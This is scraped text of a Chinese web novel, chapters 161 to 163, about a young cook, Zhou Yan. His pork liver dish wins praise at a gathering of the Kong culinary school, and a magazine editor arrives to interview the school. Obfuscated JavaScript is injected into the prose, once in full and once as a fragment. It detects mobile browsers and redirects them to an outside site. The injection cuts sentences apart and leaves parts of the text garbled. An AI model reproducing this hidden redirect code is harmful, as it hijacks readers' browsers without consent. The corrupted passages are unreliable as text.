大火热油猛烹，勾着薄芡的猪肝爆起油花，快速蜷曲变色。 这时依次下入备好的料头，油热一激，蒜香、葱香、豆瓣香，伴着热辣扑面而来。 切细的豆瓣炒出红油，均匀地染上每一块猪肝，翻炒几下，迅速出锅装盘。 猪肝盛在盘中，还在滋滋冒油。 周砚已经舀了一瓢水冲入锅中，激起刺啦一声响。 众人盯着灶台上那份火爆猪肝，红亮的色泽，裹着一层薄薄的酱汁，竟泛起了琥珀般的油光。 葱白、青椒、红辣椒段，点缀在红玛瑙片般堆叠的猪肝中，交织成了如此艳丽的色彩，花椒粒点缀其间，香气扑鼻而来。 灶里传来木柴燃烧的噼啪声，越发衬的现场的安静。 一道菜好不好。 对于经验老到的厨师来说，看一眼心里大致就有数了。 周砚最后炒的这份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200280|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火爆猪肝，比先前所有人炒的都要好。 而且，好得多！ 猪肝是清爽的，没有裹上厚厚的芡粉变得黏黏糊糊，也没过火焦黑，猪肝表面的薄芡在热油中泛起了一层微焦的表壳，挂着油光。 碗底有一小汪油，不像有的把猪肝完全泡在油里，看着就觉得油腻。 孔庆峰神情有点恍惚，看着那份火爆猪肝沉默了数秒，抬头看着周砚有些感慨道：“好啊！游刃有余，小孩，我竟是在你身上看到了我师兄当年的影子。” 此话一出，众人皆惊。 孔庆峰的师兄是谁？ 那必然是已故的嘉州名厨孔大爷孔怀风啊！ 孔庆峰还没品尝呢，竟给出了这般高的评价。 背着手的肖磊把手放下了，嘴角挂着微笑，骄傲又带着几分欣慰。 周砚放下铁勺，微笑道：“请各位大爷和师叔伯、师兄们赐教。” “来，尝看。”孔庆峰邀两位大爷一起品尝，当先夹了一块喂到嘴里，眉头微微皱起，然后又慢慢舒展开来，脸上露出了几分怀念之色。 “锅气十足，麻辣鲜香俱全，这芡勾的太有水平了，猛火热油在表面快速形成了微焦的表壳，咬开之后却是极致的鲜嫩，脆与嫩的极致反转，形成了绝妙的口感。”孔庆峰赞叹道：“这份火爆猪肝炒的太有水平了！比我炒的好，我吃过跟它差不多水平的，唯有当年我师兄炒的火爆猪肝。” “确实好！口感之嫩滑，吃不到一丝颗粒感，薄芡挂住了麻辣鲜香，没有影响猪肝的口感，确实有当年怀风师兄的风采。”秦坤看着周砚道：“我虽然得到过他的指点，但确实从未能够将其复刻，没想到周砚年纪如此小，对于火候和调味的把控已经能够做到如此程度！” “今天最好的火爆猪肝，也是我近年来吃到过最好的。”**才放下筷子，带着几分感慨道：“孔派，果然是人才辈出啊。” 三位大爷说完，孔庆峰一众徒弟徒孙皆是倒吸了一口冷气。 这评价也太高了吧！ 周砚炒的这份火爆猪肝，竟被孔二爷提升到了这般高度！ 比他炒的好，还能与巅峰的孔大爷比肩！ 就连向来严格的秦大爷也说有孔大爷的风采！ 曾代表着飞燕酒楼最高水平的李大爷，更是感慨孔派人才辈出。 这人才是谁？ 不言而喻。 众人看着周砚，眼神都变得不太一样了。 难道…… 这就是天才？！ 孔国栋等一众师兄弟们，看向肖磊的目光，羡慕中带着几分扭曲的嫉妒。 肖磊挺直腰杆，嘴角渐渐压不住了。 这就是当天才师父的感觉吗？ 确实有点爽到了！ 桀桀桀… 郑强双手抱胸，左看，右看，就差把得意两个字写在脸上了。 看到没有—— 周砚！ 我师弟！ 孔派，还得看我们怀峰啊！ 庆峰终究只是庶脉。 周砚微笑拱手：“三位大爷过奖了，我这点微末水平，全靠师父教得好，何德何能与师爷相提并论。” “你就莫要瞎子过河——牵须，我们活了一把年纪，技艺高下，一入口就晓得。”孔庆峰笑着摆摆手，然后示意众人道：“都来尝尝，顶级的火爆猪肝是怎么炒的！” (本章完) 第161章 周师弟，也是个装糊涂的高手啊（62 第161章周师弟，也是个装糊涂的高手啊（6.2k二合一） 众人闻言，拿着筷子纷纷围上前来。 能够得到三位大爷的一致盛赞，这火爆猪肝到底有多好吃，一众厨师属实好奇。 火爆猪肝是有最佳赏味期的，锅气一散，猪肝的口感会随着温度下降逐渐变差。 想吃得抓紧。 “嗯！好嫩哦！硬是一点膻味都没得！” “那么薄的芡粉，啷个能炒到那么嫩呢？步骤看起来好像也没有太大区别嘛。” “味道也调的好！麻辣鲜香都做到了，水平硬是高！” 众师叔伯、师兄吃完，看向周砚的目光都清澈了几分。 孔派不搞派系打压那一套，好就夸，不好就骂。 但是…… 这也好的太过分了吧？ 同样是火爆猪肝。 周砚最后拿的还是被挑剩下的那块。 他就带了把菜刀，用的是一样的锅、一样的厨具、一样的配料，怎么炒出来的火爆猪肝如此美味呢？ 这是火爆猪肝，那他们炒的算什么？ 猪肝落到他们手里，猪这辈子算白活了啊。 “二十岁炒出这样一盘火爆猪肝，我感觉这二十多年的菜白炒了啊。”孔国栋带着几分感慨道。 “师父，你也不用那么悲观嘛，年轻的时候炒的不好，努力了二十多年终于不年轻了嘛。”他徒弟宽慰道。 “老子……”孔国栋伸手去摸皮带。 徒弟扭头就跑。 “老子也是遇得到你这个胎神！”孔国栋气得直摇头，满眼羡慕地看向肖磊：“肖磊，你这徒弟转让不？” “肖师兄，一换二也阔以。”旁边凑过来另一个师弟。 肖磊收了这么一个天才徒弟，可把他们羡慕坏了。 刀工好，火候、调味掌控的也好，一道火爆猪肝把基本功展现的淋漓尽致。 同辈的师兄们，在他面前头都抬不起来。 别说是小辈了，就他炒出来的这份火爆猪肝，就连三位大爷都得暂避锋芒。 肖磊啥都没干，靠着徒弟就把风头出尽了。 谁不羡慕啊。 肖磊笑眯眯道：“各位师兄弟，你们的徒弟也都是人中龙凤，稍加雕琢，必成大器，不要焦，不要躁。” 孔国栋看着他道：“肖磊，周砚的火爆猪肝炒的这么好，你炒的是不是也有这种水平啊？你背着我们偷偷练哦。” “硬是，你这个当师父的，是不是炒的更有水平哦？”其他人也是纷纷看向了肖磊。 “各位师兄，你们着相了。”肖磊笑着摇头：“我师父在世的时候就常跟我说，弟子不必不如师，师不必贤于弟子。今天就算我来炒这份火爆猪肝，肯定也不如周砚炒的好。” “你倒也谦虚起来了。”孔庆峰笑道，“这火爆猪肝本来就是你的拿手菜，你们几师兄弟里面，你炒的最像你师父，还教了个更有水平的徒弟出来，也算是锅边上的油渣——熬出来了。” “师叔过奖了。”肖磊笑着道，腰杆挺得笔直。 周砚炒的这份火爆猪肝，一人两筷子给吃完了。 “都吃过了，那我们来讲讲周砚炒的这份火爆猪肝为啥子好。”孔庆峰招呼众人过来，开口道：“首先是猪肝的处理，切完之后他把猪肝拿来冲洗了一道，把大部分血水都冲走了，这个步骤可以减少猪肝的膻味和腥味。 细节就在于冲洗过后的猪肝要把表面的水分控干，不能直接腌制和裹芡粉，多余的水分锁住之后，一下油锅全是汤汤水水，一塌糊涂。 还有炒猪肝他用的混合油，菜籽油加猪油，味道更香。火力够大，油温升的也足够高，因为芡粉裹的薄，猪肝下锅熟的更快，薄芡起了一层薄薄的焦壳，猪肝却保持了滑嫩的状态。 下入准备好的料头下锅炒香，立马出锅装盘。出锅的时机一定要把握好，薄芡最怕的就是过火，稍不注意猪肝就炒老、炒焦了，这一点你们回去之后练习一定要多加注意。” 众人认真听着，还有拿出小本子认真记录的。 “实在控不好火候的，就在他的基础上再多加一点点芡粉，先保证成功率，再慢慢提升水平，把这份火爆猪肝当做标杆来做，目标就非常明确。”秦坤开口道：“你们今天运气好，周砚等于是现场给你们上了一堂大师课。” “何德何能，互相交流，互相学习。”周砚连忙说道。 这交流会确实挺有意思的，不说别的，今天在场的厨师回去之后，只要肯勤加练习，火爆猪肝的手艺肯定能够有所提升。 难怪宗门弟子实力提升比散修快，有宗门长者提携和传授顶级菜谱，确实不一样。 当然，那类一锅出十道菜的邪修除外。 郑强凑到周砚身边，冲他默默竖了个大拇指，感叹道：“周师弟，还得是你，我要是有你这本事，我师父睡觉都能笑醒。这些年光吃苦，就是没啥长进啊。” 周砚宽慰道：“没事的郑师兄，趁着年轻多吃苦，老了就习惯了。” 郑强：“嗯？” 今天都能上手的菜就一道火爆猪肝，猪肝价格便宜，每个人都能上手练练。 这会正是饭点，按照孔派惯例，孔庆峰让一众徒弟自己从架子上选菜，一人做一道拿手菜，凑一桌午饭。 这次肖磊没再谦虚，上前选了一块二刀肉，准备炒一份回锅肉。 周砚和郑强作为徒孙辈的，负责在旁观摩学习。 不过周砚往旁边一站，不少目光都朝他看了过来，皆好奇肖磊会不会让周砚来掌勺。 周砚也有点犯嘀咕，回锅肉可是他的拿手菜。 这些天他师父也找他讨教了一些细节上的技巧，在回锅肉的烹饪上应该有所长进。 各位师叔伯选到了自己的拿手好菜，脸上皆是露出了自信的笑容。 孔庆峰朗声说道：“反正菜要一起上桌，你们自己师兄弟商量着开始整嘛，我倒要看看这半年没有聚一起，你们拿手菜是长进了还是退步了。” “要得！”众人答应了一声，聚在一起先报了各自菜名，开始定做菜的顺序。 选了牛腩准备做牛腩烧土豆的钟勇先开始做，其他菜式按照时间长短顺延。 “来嘛来嘛，师侄们都围过来，我来教你们怎么把牛腩烧土豆烧成饭店招牌菜。”钟勇吆喝了一声，提起洗好的牛腩往砧板上一放，从选肉、切肉开始讲起。 周砚个高，站在第二排认真听讲，牛腩烧土豆和他的牛肉烧笋干其实差不多，就是把笋干换成了土豆。 烧出来的土豆软糯入味，和脆爽的笋干是完全不同两种口感，同样十分美味。 这道菜他还真可以好好学一学，有基础的情况下，上手应该很快。 不光是徒孙辈围着看，肖磊他们这些同辈的师兄弟也都在旁边认真瞧着。 招牌菜代表着一个厨师几十年从业的经验总结和结晶。 孔派惯例，每次聚会让大家拿出招牌菜，就是为了大家能够互相学习，互相进步。 钟勇一边示范一边讲解：“牛肉在锅里烧着，咱们开始削土豆，土豆切滚刀块，但大小得差不多，大土豆切两刀，小土豆切一刀，比牛肉要大块一些……” 每一位师傅都讲的很细致，徒弟们有什么不了解之处，提问都能得到解答。 周砚在各个灶台轮转，取百家之长，倒也学到不少东西和小技巧。 肖磊已经把煮透的二刀肉从锅里捞起，身旁围满了各位师叔伯的徒弟，就连三位大爷都走到灶前站着，想看看肖磊的水平是不是在这段时间突飞猛进。 “郑强，你来切肉。”肖磊招呼道。 郑强：“我？” “去嘛。”周砚从后边轻轻推了他一下，显然师父是想让郑强也有点参与感。 郑强取出自己的菜刀，洗了手和刀，擦干净后便开始切了起来。 四肥六瘦的二刀肉，刷刷切成薄厚均匀的肉片，又快又稳，干净利落。 “运良这个徒弟，基本功还是蛮扎实的。”孔庆峰微微点头，露出了满意之色。 郑强又把蒜苗等配菜也一并切了，听着师叔祖的认可，嘴角微微上扬，还好没给师父丢人！ 周砚看了几眼，又转回到钟勇的灶台前守着。 “他们都去学炒五花肉了，你不去看热闹？”钟勇看着他笑问道。 “我天天跟着师父学，早看腻了，倒是师叔这牛肉烧土豆我挺感兴趣的。”周砚微笑道。 “你小子，有眼光。”钟勇咧嘴笑道：“看到，牛腩已经烧耙，现在我们要把土豆倒下去，等土豆烧耙，就可以出锅了。” 周砚点头，帮着把盆里的水倒掉，将土豆倒入铁锅，重新盖上锅盖。 八口锅烧的热火朝天，同门师兄弟，互相可太了解了，还真就做到了八道菜同时出锅，同时上桌。 钟勇的土豆烧牛腩装了两个大陶盆，土豆中的淀粉融入汤汁，无需勾芡，汤汁便已经足够浓稠。 金黄色的土豆，泛着油光，茸茸的，一看就足够软烂入味。 【一份极其不错的牛腩烧土豆】 周砚帮着端了一盆牛腩烧土豆上桌，眼底已经弹出鉴定结果。 刚刚钟勇让他试了味道，土豆绵软入味，吸收了牛肉汤汁，简直比牛肉还香。 火候的把控、调味的技巧，以及土豆如何才能耙软又不散掉的小技巧，钟勇一股脑全跟他讲了。 明明只是第一次见面，对方却毫无保留将技巧奉上。 这让周砚着实有点意外。 师门传承的具象化，让他有点感动。 学起来他也是一点都没客气，家里不缺土豆，下回做一份试试看。 另一边，郑强也是端着两盘回锅肉过来，两张圆桌各放一份。 周砚扫了一眼： 【一份极其不错的蒜苗回锅肉】 周砚微微点头，不错不错，肖师表现的还是可以，没给他丢人。 师父刚好向他看来。 周砚下意识缩了脑袋，飘了飘了。 “嗯，肖磊这份回锅肉炒的有水平，灯盏窝，拈闪闪，火候恰到好处。”隔壁桌，孔庆峰已经点评上了，手上筷子夹了一块回锅肉，左右端详了一番后喂到嘴里，细细嚼着，点头道：“皮子香糯，肥肉入口即化，瘦肉软嫩有带点弹牙的口感，油而不腻，夹上蒜苗，还有一股独特的清香，巴适得很。比去年那次做的，进步相当大啊！” “这份回锅肉确实做到了肥而不油，香而不腻，只加蒜苗就已经足够下饭，水平确实高。”秦坤也是点头道，“你们刚刚也看着肖磊做的，只要能学到八分，那就算出师了。” 众人纷纷点头称是。 “坐嘛，开饭！”孔庆峰摆了摆手，示意众人落座。 三位大爷和肖师傅那一辈坐一桌，周砚他们这些徒孙坐一桌。 周砚左右看了一眼，没看到《四川烹饪》杂志社的人，莫非是预约在下午进行采访？ “来来来，我们也开饭。”郑强笑着说道，在这桌他可就是大师兄了。 都是二十来岁的青年，干饭可是相当积极。 周砚来不及多想，先夹了一块牛腩和一块土豆到碗里。 牛腩烧的非常软烂入味，和他做的牛腩烧笋干相比，口味偏辣一点，味道更为突出，麻辣鲜香，相当下饭。 打一碗米饭，来一块土豆，轻轻一夹就散开盖在饭上，再来一块牛肉蘸点汤汁，肉和饭一起入口，这一口的满足感，只有吃过的人才能懂！ 其他师兄的筷子则是纷纷夹向了回锅肉，吃完皆是一脸惊艳的表情。 坐在周砚身旁的师兄名为孔立伟，是孔国栋的徒弟，也是他的侄儿，先前撒腿跑的飞快那个，连吃了两块回锅肉，扒拉了半碗米饭，满眼好奇的看着周砚问道：“周师弟，你们这脉学的东西是不是跟我们不一样啊？怎么你炒的火爆猪肝和你师父炒的回锅肉这么好吃啊？！” 桌上其他师兄闻言，也是纷纷看向了周砚和郑强，皆是面露好奇之色。 这桌上，除了他们俩，其他都算是孔庆峰的徒孙。 虽说是一个祖师爷，都是孔派的，但今天这两道菜，让他们感觉好像又有点不太一样。 “各位师兄多虑了，大家都是一个祖师爷传下来的手艺，哪有什么不一样，顶多就是个人习惯和琢磨的一些不同。”周砚笑着夹起一块土豆，“这牛腩烧土豆，我就没见我师父做过，我刚刚可是在钟师叔的灶台边上蹲了一个多小时呢。” 众人闻言也都笑了。 “我师父做的这个土豆烧牛腩，可是我们饭店的招牌菜，基本上客人来了都必点的。”钟勇的徒弟一脸骄傲道。 “来尝尝我师父做的这个红烧鳝鱼，味道也是相当巴适，现在乐明饭店的鳝鱼都是我师父在整。”孔立伟给周砚推荐道。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“石头，这个事情你怎么都没跟我讲呢？”孔庆峰放下筷子，看着肖磊道：“做啥子坝坝宴，一般没手艺的二流厨师才会去做乡厨办坝坝宴。你明天来乐明饭店嘛，我让他们安排你面试，通过就来上班，你把周砚和郑强也带来，他们的水平是完全够了的，就算乐明饭店安排不了，也给他安排到其他饭店去。” “我等会去一趟饭店，跟领导汇报。”孔国栋说道。 这年代，干个体户普遍不被看好，这是整个社会的群体看法。 乡厨等同于个体户。 肖磊闻言笑着道：“师叔、师兄，这个事情你们就不用操心了。我和郑强现在做乡厨干的风生水起，这个月已经办了三场，下半月还定有两场，算下来一个月比在纺织厂上班挣得多。 纺织厂食堂的大锅菜我都炒得，坝坝宴的三蒸九扣我做起来毫无压力，并不觉得有啥子丢脸的。 经济在发展，社会也在快速变迁，我觉得做坝坝宴挺不错，等过两年攒了钱，说不定我们还要去弄个场地来干包席呢。 周砚开的饭店生意也很好，比去饭店当帮厨要收入高些，他投了不少钱开的饭店，肯定不得随便关门噻。” 肖磊脸上虽然挂着笑，但语气和态度都很坚决。 其他师兄弟见此，也就没再开口。 肖磊的外号为什么叫石头？ 除了名字里石头多，性子也像块石头，油盐不进，他认定的事情，当年孔大爷在的时候都说不动他。 孔庆峰也是叹了口气，看着他道：“既然你认定了，我也不多说，平时要是有啥子困难，你就来找我嘛。” “要得，师叔。”肖磊恭敬点头。 师父那桌聊的火热，徒弟这桌的目光全落在了周砚和郑强身上。 “周师弟，你自己开了个饭店啊？开在哪？你学厨两年半就自己开饭店，这么凶？！”孔立伟一脸震惊的看着周砚。 他比周砚大三岁，但他十三岁就跟着他师父学厨了，今年已经满十年，现在在乐明饭店当帮厨。 头三年，他的刀工才勉强能入两位大爷的法眼。 本家爷爷，对他要求可严格了。 可学了十年，他的刀工还不如刚刚周砚切猪肝表现的那几下呢。 听到周砚自己出去开饭店，而且生意还不错，属实震惊不已。 其他师兄也是差不多的想法和表情。 周砚微笑道：“就是在苏稽镇上开了个小饭店，都是自家人帮忙，生意也就让一家人过得去，和各位师兄上班的大饭店没得比，简直不值一提。” 众人闻言若有所思，小饭店啊，应该就是街边的小川菜馆，还是开在乡镇上，生意肯定没得好好。 这个年代，城里人下馆子都不太舍得，更别说乡下种地的农民了。 能糊口都算不错了。 一旁的郑强瞄了眼周砚，表情略显古怪。 周砚的饭店开在镇上是没错，但开在了嘉州第一创汇大户嘉州纺织厂门口啊。 确实是家里人在帮忙，但她有个能说会道的妈，有个刀工了得的老汉，还有个坐在门口啃个猪蹄就能把客人骗进来吃饭的可爱妹儿。 他的饭店生意何止是有点好，就他这几天在后厨帮忙的观察，三餐生意都相当火爆，卤肉和卤菜还要卖一百多斤。 一天挣多少钱他没细算，反正他估计在场这么多厨师加一起，可能都没他挣得多。 周师弟，也是个装糊涂的高手啊。 “郑师兄，你跟着肖师叔做坝坝宴，效益如何呢？”孔立伟又好奇的看向郑强。 郑强笑着道：“我就是给师叔当墩子的，有活就载着锅具、蒸笼上门，平时没事就在家里蹲起，挣的钱也就让一家人过得去，和各位师弟上班的大饭店没得比，简直不值一提” 周砚斜了他一眼，郑师兄也是高手啊。 吃过午饭，徒孙们负责收碗、洗碗，收拾厨房。 三位大爷和师父们泡了茶，坐在院子里摆龙门阵。 “师父，那《四川烹饪》杂志社的人啥时候来呢？”钟勇给孔庆峰添茶，开口问道。 孔庆峰还没开口，院门外就传来了孔国栋的声音：“师父，何主编来了！” 求月票啊~~   (本章完) 第162章 名门正派中的邪修？ 负责涮锅的周砚刚把手擦干，闻声向着院门口的方向看去。 孔国栋笑眯眯地带着两人走进门来。 和孔国栋并排而行的微胖圆脸，皮肤黝黑的中年男人，正是《四川烹饪》杂志社的副主编何志远。 跟在他后边，背着个斜挎包，鼻梁上架着一副黑框眼镜的，正是编辑助理——牛马小李。 来的还真是老熟人啊。 孔庆峰和一众徒弟站起身来。 何志远则是快走两步，笑着迎上前来和孔庆峰握手道：“孔二爷，好久不见，您老近来身体如何？” “身体还行，能吃能走还能去钓钓鱼。”孔庆峰握着何志远的手，笑着打量着他，“小何啊，胖了些，也黑了不少，我要不知道你是杂志社的副主编，还以为你天天在河边坐着钓鱼晒黑了的呢。” “我是天南地北的取材去了，晒黑、长胖都是工伤。”何志远爽朗笑道：“我可没钓鱼那个耐心，屁股上长钉子——坐不住的人。倒是您老退休了安逸，钓钓鱼修身养性。” 孔庆峰也笑了：“退休个锤子，隔天还要来基地上一下午课，这顶多算退了一半。” 两人一见面就聊的火热，显然是老相识了。 小李左右打量，目光落到周砚身上愣了一下，显然有点意外。 主要是周砚太高了，站在那里比身边的师兄高了半个头。 长得也很有辨识度，和旁边一水圆脸粗脖子的厨师完全不一样，身材高挑，还有点帅。 照片洗出来后的这段时间，杂志社里的单身女青年，都在跟他打听周砚。 他们杂志社采访的厨师可不少，但这样年轻帅气的，还真是第一个。 周砚冲着他笑了笑。 小李也是微微点头致意，想跟主编提个醒，但见他和孔庆峰聊的火热，又不敢打搅，只好安静站着。 《四川烹饪》杂志是省饮食服务公司创办的，以前孔怀风和孔庆峰去蓉城交流学习的时候，就是何志远负责接待的，这么多年过去，彼此偶尔还有书信来往。 寒暄过后，孔庆峰给何志远介绍起自己的徒弟和师侄。 何志远笑着与众人一一握手。 跟肖磊握手的时候，他带着几分感慨道：“孔派如今也是人才济济啊，可惜许运良、方逸飞、宋博这三位大师没回来，不然我还能给你们拍一张大合影纪念一下。” 肖磊笑着道：“三位师兄确实太忙赶不回来，不过他们不回来我们一样可以拍大合照噻，要是能给他们寄一张照片过去，他们肯定高兴得很。” 孔庆峰也是笑着点头：“就是，孔派的厨师越有出息，越是凑不齐，但不管在哪里，他们都是孔派的骄傲。” “有道理，是我格局小了。”何志远点头，“那等会我给你们孔派拍一张大合照，到时候多洗几张出来，让你们都留个纪念，给那三位大师也寄一张。” 孔庆峰拍着他的肩膀道：“那我今天晚上必须亲自下厨给你弄一顿好的吃。” “要得，我好久没吃过孔二爷烧的黄辣丁了。”何志远咧嘴笑道。 “你小子，光晓得挑好的干。”孔庆峰也笑了，转头跟孔国栋道：“国栋，去买两斤黄辣丁回来，街上要是买不到，就先去饭店那边借两斤，明天一早给它还回去。” “要得。”孔国栋应了一声，走到一旁冲着孔立伟招手：“你，去买黄辣丁。” “师父，师爷不是喊你去吗？”孔立伟瘪嘴，“我也想拍合照。” “你站后排的边角料，拍不拍都一样，我可是要站你师爷身边的。”孔国栋挥挥手： “再说了，我师父使唤我，我肯定使唤我徒弟噻，你去不去嘛？莫要让老子在最体面的场合抽你哈。” 孔立伟看着作势要抽皮带的孔国栋，连忙往后跳了一步，伸手要钱：“给我钱，我口袋里只有两角八分。” 孔国栋摸了两块钱给他，叮嘱道：“选半大不小的哈，装水带回来，一定要活的。” “哦。”孔立伟应了一声，揣着钱出门，声音幽幽传来：“我是后排的边角料，妈妈的小骄傲……” 孔庆峰看着何志远问道：“小何，你说要怎么个采访法子？要不要做菜？还是就喝茶聊天？” 众人闻言也是纷纷看向何志远，孔二爷通知他们的时候，说的是杂志社可能要采访孔派做鱼的手艺，今**缸里还养了一条江团和一条鳙鱼。 何志远刚刚又点了红烧黄辣丁，这也是孔二爷的拿手好菜。 何志远看着孔庆峰道：“孔二爷，我来之前和主编还有编辑部的同事们开会商量了，这回不做鱼，咱们聊聊孔派吧。 聊聊您和孔大爷是如何承上启下，将孔派发扬光大，让孔派变成如今这般人才济济。有坚守嘉州的，有在蓉城餐厅掌勺的，有在首都发扬川菜的，还有跟着领导远赴海外的。 当年名厨孔瑞，博采诸家之长，传艺于孔怀风和孔庆峰，二位大爷青出于蓝而胜于蓝，独树一帜，卓然自成一家，享有“孔派”之美名。 从家传到开课授业，广收弟子，一代代孔派厨师，薪火相传，交相辉映，早已不止于烹饪一道。我们打算做一期深度探讨孔派传承的专访，让更多人了解我们川菜传承的变化。 在推动川菜体系形成，最终使得川菜跻身四大菜系的数十年发展中，我认为孔派就是一个非常经典的例子。” 孔庆峰闻言，腰杆都不自觉挺直了几分，神情肃然道：“聊孔派好啊，走，咱们上会议室，泡上茶，慢慢摆。” 其他徒弟闻言，脸上皆是露出期待之色。 聊孔派，那他们的名字岂不是也可能上杂志？ “要得。”何志远笑着点头，跟着孔庆峰往会议室走去。 小李快走两步跟上，小声道：“主编，周砚也在。” “周砚？”何志远脚步一顿，有些诧异地回头，正好瞧见周砚跟在一众徒弟后边，见他回头，还冲他笑了笑。 何志远冲他点点头，继续跟着人群往前走，和小李问道：“他也是孔派的弟子？” “今天来的都是孔派的徒子徒孙，应该是徒孙辈的，在苏稽的话，多半是肖磊的徒弟。”小李小声答道。 这次专访是明年第一期杂志四名揽胜栏目的重要专题，编辑部已经开了两次会，也提前收集了不少孔派的资料，做足准备来的。 关于孔派三代弟子的信息，他们还是掌握的比较齐全的。 孔怀风收的正式弟子只有四位，大徒弟许运良在蓉城餐厅后厨掌勺，是一级厨师。二徒弟方逸飞为特三级厨师、宋博也是一级厨师，不过他们已经多年未回四川，厨艺不能简单用等级来衡量。 剩下的小徒弟肖磊，留在了苏稽，在纺织厂食堂任职掌勺。 所以小李见周砚在场，立刻想到的便是肖磊。 “行，等会采访完了我再找他单独聊聊。”何志远点头。 培训基地不光灶台多，还有专门上理论课的教室和上级领导来视察时用的会议室。 一间敞亮的大包间里，长方桌围一圈，便是会议室了。 何志远站门口等了一会，见周砚过来了，笑着伸手拍了拍他的臂膀，“周砚，等会别急着走啊，照片给你洗好带回来了，我还有话跟你单独聊聊。” “要得。”周砚笑着点头，赵嬢嬢前两天还惦记着全家福呢，今天要是能把照片给她带回去，她肯定高兴。 郑强前后脚的进的会议室，隐约听到了一句单独聊聊，跟周砚在角落坐下，凑过来好奇问道：“师弟，你认识这杂志社的主编啊？” “之前见过一回。”周砚点头。 郑强眼睛顿时亮了起来，一脸八卦道：“师叔带你见的？上杂志的事吗？我师父之前就跟我提起过，这杂志社的主编跟他还认识呢，当年和师爷坐一桌吃过饭，还琢磨着考上一级厨师后能不能找他上一回《四川烹饪》呢。” “一个杂志而已，师伯想上，那不是包上的。”周砚笑道。 “咱们也不能昧着良心说话，我师父的水平我还是有数的。”郑强摇头，低声道：“能上《四川烹饪》的厨师，要么声望极高，比如咱们师爷和师叔祖这两位，在川菜众多门派中打出孔派名声的，被厨师界公认水平高，能称得上一声‘大爷’的。 要么就是专项特别突出，比如冷拼做的出神入化的，比如鸭子做的特别好的。 我师父的鱼倒是做的不错，但咱们孔派能人多啊，个个都是做鱼的好手，不说两位师叔，有师叔祖在，怎么都轮不到我师父上杂志教人做鱼。 他要先上，岂不乱套了，说出去那可是逆徒啊。” 周砚听得连连点头，郑强这逆徒分析的还是颇有道理的。 那他算什么？ 名门正派中的邪修？ 不行不行，他得低调点。 要是他比师叔祖先上《四川烹饪》杂志的事情曝光，今天怕是不好走出这道门。 众人落座。 孔庆峰坐主位，何志远坐他旁边。 小李坐在何志远身边，从包里掏出笔记本摊开，手边放着两支钢笔，正襟危坐，相机包也搁在桌上，估计是准备定格几张采访的画面。 其次就是按照辈分来坐了。 孔国栋坐孔庆峰左手边，再旁边就是肖磊了。 肖磊是孔怀风的关门弟子，入门早，1955年就拜入师门，至今快三十年了。 然后就是孔庆峰的诸位徒弟了。 加上一众徒孙，十七八人，倒是把会议室坐的满满当当。 茶水泡上桌，孔庆峰开口道：“小何，你问呗，想聊啥，咱们今天敞开了聊。这些徒弟 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孔庆峰近年来主讲烹饪培训班，培养了不少嘉州厨师，对于孔派的传承也起到了重要作用。 从孔庆峰来讲孔派传承，再合适不过。 今天中午的交流会，刷新了周砚的认知和偏见。 作为孔派弟子，他第一次有了认同感。 他能感受到了师叔伯们倾囊相授，毫无保留。 这份豁达，就叫传承。 “孔二爷，那咱们开始吧，要不先从您拜师孔瑞大师说起？”何志远开口道。 “拜师啊……”孔庆峰的目光落在桌上的盖碗上，指尖在桌上轻叩，犹如秒针跳动，眼神渐渐飘忽。 沉默良久之后，他缓缓开口，语调低沉：“那就要从1918年说起了，那年我14岁，我老汉得了肺痨，吃药把家里的东西全都卖完了，家里穷的揭不开锅，半大小子，瘦的皮包骨，抽根稻草就能把裤腰带拴上。 这天，我大爷从蓉城回来看望我老汉，给我们家拿了十个银元，还问我要不要跟他去学厨。 我不懂啥子叫学厨，我就问他：“大爷，学厨能不能吃上饱饭？” 大爷说：“能，还有肉干。” 我半年没闻过肉味了，听到有肉干，眼睛都冒绿光，想都不想就答应了。 我们老家是临江镇的，大爷把我和我十二岁的弟娃一起带到了嘉州城，进了乐明饭店，开始了学徒生涯……” 会议室里安安静静的，只有孔庆峰低沉的声音和小李手中的钢笔在纸上刷刷的书写声。 周砚也认真听着，这孔庆峰说的大爷，应该就是孔派的祖师爷孔瑞。 【叮！检测到孔庆峰掉落的记忆碎片！】 【进入或可触发随机传承奖励！】 【是否拾取并进入？是/否】 就在这时，周砚的眼底弹出了一行字幕。 周砚愣住。 啥？啥玩意？ 他左右看了一眼。 所有人都认真听着孔庆峰的讲述。 犹豫了一下，他果断做出选择。 怕个锤子！我就要去看看到底啥子才是孔派传承！ “拜师典礼比较简单，但还是请了几位当时的嘉州名厨作为见证人，拜师帖是师父请人代写的，我和弟娃背了三天才背下来，到现在还记得最后那句：谨遵师训，诚心向学，侍师如父、终生不渝……” 孔庆峰的声音在周砚的耳边渐渐模糊，眼前骤然一黑。 …… 视线渐渐清晰，眼前是一间宽阔明亮的堂屋。 正中摆着两张红棕色的灵芝椅，左边坐着穿着灰色长衫的儒雅的中年男人，右边坐着穿着旗袍的中年女子。 地上跪着两个半大的干瘦孩子，手上端着盖碗茶，正磕磕绊绊的念着：“谨遵师训，诚心向学，侍师如父、终生不渝。伏冀慨允。” 举起茶盏，向着中年男人恭敬敬茶。 一旁站着一位身姿挺拔，端着托盘的少年，眉目清朗，与中年男人有几分相像。 “这是……祖师爷和师爷？” 周砚抬头，有些惊讶的看着那中年男人和一旁的少年。 …… （PS：记忆碎片这一段，不管多少字，明天都会一口气写完发完。我说的！） （川菜传承是这本书的魂，记忆碎片我也是再三思虑，还是决定这样展开，让周砚去亲眼见证。望海涵。） 放心哈，明天包一口气更新完的。 今晚就开始写，不管多少，明天一定写完记忆碎片。   (本章完) 第163章 传承（13w大章） 